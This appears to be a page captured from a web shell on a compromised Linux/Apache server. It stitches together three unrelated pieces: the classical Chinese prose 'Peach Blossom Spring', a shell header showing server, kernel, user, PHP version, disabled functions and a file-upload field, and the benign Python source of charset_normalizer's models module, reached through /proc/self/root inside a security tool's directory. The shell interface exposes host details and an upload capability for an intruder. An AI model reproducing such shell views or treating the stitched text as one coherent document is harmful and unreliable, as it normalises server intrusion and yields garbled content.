晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/self/root/opt/imunify360/venv/lib64/python3.11/site-packages/charset_normalizer/ |
Upload File : |
import warnings
from collections import Counter
from encodings.aliases import aliases
from hashlib import sha256
from json import dumps
from re import sub
from typing import Any, Dict, Iterator, List, Optional, Tuple, Union
from .constant import NOT_PRINTABLE_PATTERN, TOO_BIG_SEQUENCE
from .md import mess_ratio
from .utils import iana_name, is_multi_byte_encoding, unicode_range
class CharsetMatch:
def __init__(
self,
payload: bytes,
guessed_encoding: str,
mean_mess_ratio: float,
has_sig_or_bom: bool,
languages: "CoherenceMatches",
decoded_payload: Optional[str] = None,
):
self._payload = payload # type: bytes
self._encoding = guessed_encoding # type: str
self._mean_mess_ratio = mean_mess_ratio # type: float
self._languages = languages # type: CoherenceMatches
self._has_sig_or_bom = has_sig_or_bom # type: bool
self._unicode_ranges = None # type: Optional[List[str]]
self._leaves = [] # type: List[CharsetMatch]
self._mean_coherence_ratio = 0.0 # type: float
self._output_payload = None # type: Optional[bytes]
self._output_encoding = None # type: Optional[str]
self._string = decoded_payload # type: Optional[str]
def __eq__(self, other: object) -> bool:
if not isinstance(other, CharsetMatch):
raise TypeError(
"__eq__ cannot be invoked on {} and {}.".format(
str(other.__class__), str(self.__class__)
)
)
return self.encoding == other.encoding and self.fingerprint == other.fingerprint
def __lt__(self, other: object) -> bool:
"""
Implemented to make sorted available upon CharsetMatches items.
"""
if not isinstance(other, CharsetMatch):
raise ValueError
chaos_difference = abs(self.chaos - other.chaos) # type: float
coherence_difference = abs(self.coherence - other.coherence) # type: float
# Bellow 1% difference --> Use Coherence
if chaos_difference < 0.01 and coherence_difference > 0.02:
# When having a tough decision, use the result that decoded as many multi-byte as possible.
if chaos_difference == 0.0 and self.coherence == other.coherence:
return self.multi_byte_usage > other.multi_byte_usage
return self.coherence > other.coherence
return self.chaos < other.chaos
@property
def multi_byte_usage(self) -> float:
return 1.0 - len(str(self)) / len(self.raw)
@property
def chaos_secondary_pass(self) -> float:
"""
Check once again chaos in decoded text, except this time, with full content.
Use with caution, this can be very slow.
Notice: Will be removed in 3.0
"""
warnings.warn(
"chaos_secondary_pass is deprecated and will be removed in 3.0",
DeprecationWarning,
)
return mess_ratio(str(self), 1.0)
@property
def coherence_non_latin(self) -> float:
"""
Coherence ratio on the first non-latin language detected if ANY.
Notice: Will be removed in 3.0
"""
warnings.warn(
"coherence_non_latin is deprecated and will be removed in 3.0",
DeprecationWarning,
)
return 0.0
@property
def w_counter(self) -> Counter:
"""
Word counter instance on decoded text.
Notice: Will be removed in 3.0
"""
warnings.warn(
"w_counter is deprecated and will be removed in 3.0", DeprecationWarning
)
string_printable_only = sub(NOT_PRINTABLE_PATTERN, " ", str(self).lower())
return Counter(string_printable_only.split())
def __str__(self) -> str:
# Lazy Str Loading
if self._string is None:
self._string = str(self._payload, self._encoding, "strict")
return self._string
def __repr__(self) -> str:
return "<CharsetMatch '{}' bytes({})>".format(self.encoding, self.fingerprint)
def add_submatch(self, other: "CharsetMatch") -> None:
if not isinstance(other, CharsetMatch) or other == self:
raise ValueError(
"Unable to add instance <{}> as a submatch of a CharsetMatch".format(
other.__class__
)
)
other._string = None # Unload RAM usage; dirty trick.
self._leaves.append(other)
@property
def encoding(self) -> str:
return self._encoding
@property
def encoding_aliases(self) -> List[str]:
"""
Encoding name are known by many name, using this could help when searching for IBM855 when it's listed as CP855.
"""
also_known_as = [] # type: List[str]
for u, p in aliases.items():
if self.encoding == u:
also_known_as.append(p)
elif self.encoding == p:
also_known_as.append(u)
return also_known_as
@property
def bom(self) -> bool:
return self._has_sig_or_bom
@property
def byte_order_mark(self) -> bool:
return self._has_sig_or_bom
@property
def languages(self) -> List[str]:
"""
Return the complete list of possible languages found in decoded sequence.
Usually not really useful. Returned list may be empty even if 'language' property return something != 'Unknown'.
"""
return [e[0] for e in self._languages]
@property
def language(self) -> str:
"""
Most probable language found in decoded sequence. If none were detected or inferred, the property will return
"Unknown".
"""
if not self._languages:
# Trying to infer the language based on the given encoding
# Its either English or we should not pronounce ourselves in certain cases.
if "ascii" in self.could_be_from_charset:
return "English"
# doing it there to avoid circular import
from charset_normalizer.cd import encoding_languages, mb_encoding_languages
languages = (
mb_encoding_languages(self.encoding)
if is_multi_byte_encoding(self.encoding)
else encoding_languages(self.encoding)
)
if len(languages) == 0 or "Latin Based" in languages:
return "Unknown"
return languages[0]
return self._languages[0][0]
@property
def chaos(self) -> float:
return self._mean_mess_ratio
@property
def coherence(self) -> float:
if not self._languages:
return 0.0
return self._languages[0][1]
@property
def percent_chaos(self) -> float:
return round(self.chaos * 100, ndigits=3)
@property
def percent_coherence(self) -> float:
return round(self.coherence * 100, ndigits=3)
@property
def raw(self) -> bytes:
"""
Original untouched bytes.
"""
return self._payload
@property
def submatch(self) -> List["CharsetMatch"]:
return self._leaves
@property
def has_submatch(self) -> bool:
return len(self._leaves) > 0
@property
def alphabets(self) -> List[str]:
if self._unicode_ranges is not None:
return self._unicode_ranges
# list detected ranges
detected_ranges = [
unicode_range(char) for char in str(self)
] # type: List[Optional[str]]
# filter and sort
self._unicode_ranges = sorted(list({r for r in detected_ranges if r}))
return self._unicode_ranges
@property
def could_be_from_charset(self) -> List[str]:
"""
The complete list of encoding that output the exact SAME str result and therefore could be the originating
encoding.
This list does include the encoding available in property 'encoding'.
"""
return [self._encoding] + [m.encoding for m in self._leaves]
def first(self) -> "CharsetMatch":
"""
Kept for BC reasons. Will be removed in 3.0.
"""
return self
def best(self) -> "CharsetMatch":
"""
Kept for BC reasons. Will be removed in 3.0.
"""
return self
def output(self, encoding: str = "utf_8") -> bytes:
"""
Method to get re-encoded bytes payload using given target encoding. Default to UTF-8.
Any errors will be simply ignored by the encoder NOT replaced.
"""
if self._output_encoding is None or self._output_encoding != encoding:
self._output_encoding = encoding
self._output_payload = str(self).encode(encoding, "replace")
return self._output_payload # type: ignore
@property
def fingerprint(self) -> str:
"""
Retrieve the unique SHA256 computed using the transformed (re-encoded) payload. Not the original one.
"""
return sha256(self.output()).hexdigest()
class CharsetMatches:
"""
Container with every CharsetMatch items ordered by default from most probable to the less one.
Act like a list(iterable) but does not implements all related methods.
"""
def __init__(self, results: List[CharsetMatch] = None):
self._results = sorted(results) if results else [] # type: List[CharsetMatch]
def __iter__(self) -> Iterator[CharsetMatch]:
yield from self._results
def __getitem__(self, item: Union[int, str]) -> CharsetMatch:
"""
Retrieve a single item either by its position or encoding name (alias may be used here).
Raise KeyError upon invalid index or encoding not present in results.
"""
if isinstance(item, int):
return self._results[item]
if isinstance(item, str):
item = iana_name(item, False)
for result in self._results:
if item in result.could_be_from_charset:
return result
raise KeyError
def __len__(self) -> int:
return len(self._results)
def __bool__(self) -> bool:
return len(self._results) > 0
def append(self, item: CharsetMatch) -> None:
"""
Insert a single match. Will be inserted accordingly to preserve sort.
Can be inserted as a submatch.
"""
if not isinstance(item, CharsetMatch):
raise ValueError(
"Cannot append instance '{}' to CharsetMatches".format(
str(item.__class__)
)
)
# We should disable the submatch factoring when the input file is too heavy (conserve RAM usage)
if len(item.raw) <= TOO_BIG_SEQUENCE:
for match in self._results:
if match.fingerprint == item.fingerprint and match.chaos == item.chaos:
match.add_submatch(item)
return
self._results.append(item)
self._results = sorted(self._results)
def best(self) -> Optional["CharsetMatch"]:
"""
Simply return the first match. Strict equivalent to matches[0].
"""
if not self._results:
return None
return self._results[0]
def first(self) -> Optional["CharsetMatch"]:
"""
Redundant method, call the method best(). Kept for BC reasons.
"""
return self.best()
CoherenceMatch = Tuple[str, float]
CoherenceMatches = List[CoherenceMatch]
class CliDetectionResult:
def __init__(
self,
path: str,
encoding: Optional[str],
encoding_aliases: List[str],
alternative_encodings: List[str],
language: str,
alphabets: List[str],
has_sig_or_bom: bool,
chaos: float,
coherence: float,
unicode_path: Optional[str],
is_preferred: bool,
):
self.path = path # type: str
self.unicode_path = unicode_path # type: Optional[str]
self.encoding = encoding # type: Optional[str]
self.encoding_aliases = encoding_aliases # type: List[str]
self.alternative_encodings = alternative_encodings # type: List[str]
self.language = language # type: str
self.alphabets = alphabets # type: List[str]
self.has_sig_or_bom = has_sig_or_bom # type: bool
self.chaos = chaos # type: float
self.coherence = coherence # type: float
self.is_preferred = is_preferred # type: bool
@property
def __dict__(self) -> Dict[str, Any]: # type: ignore
return {
"path": self.path,
"encoding": self.encoding,
"encoding_aliases": self.encoding_aliases,
"alternative_encodings": self.alternative_encodings,
"language": self.language,
"alphabets": self.alphabets,
"has_sig_or_bom": self.has_sig_or_bom,
"chaos": self.chaos,
"coherence": self.coherence,
"unicode_path": self.unicode_path,
"is_preferred": self.is_preferred,
}
def to_json(self) -> str:
return dumps(self.__dict__, ensure_ascii=True, indent=4)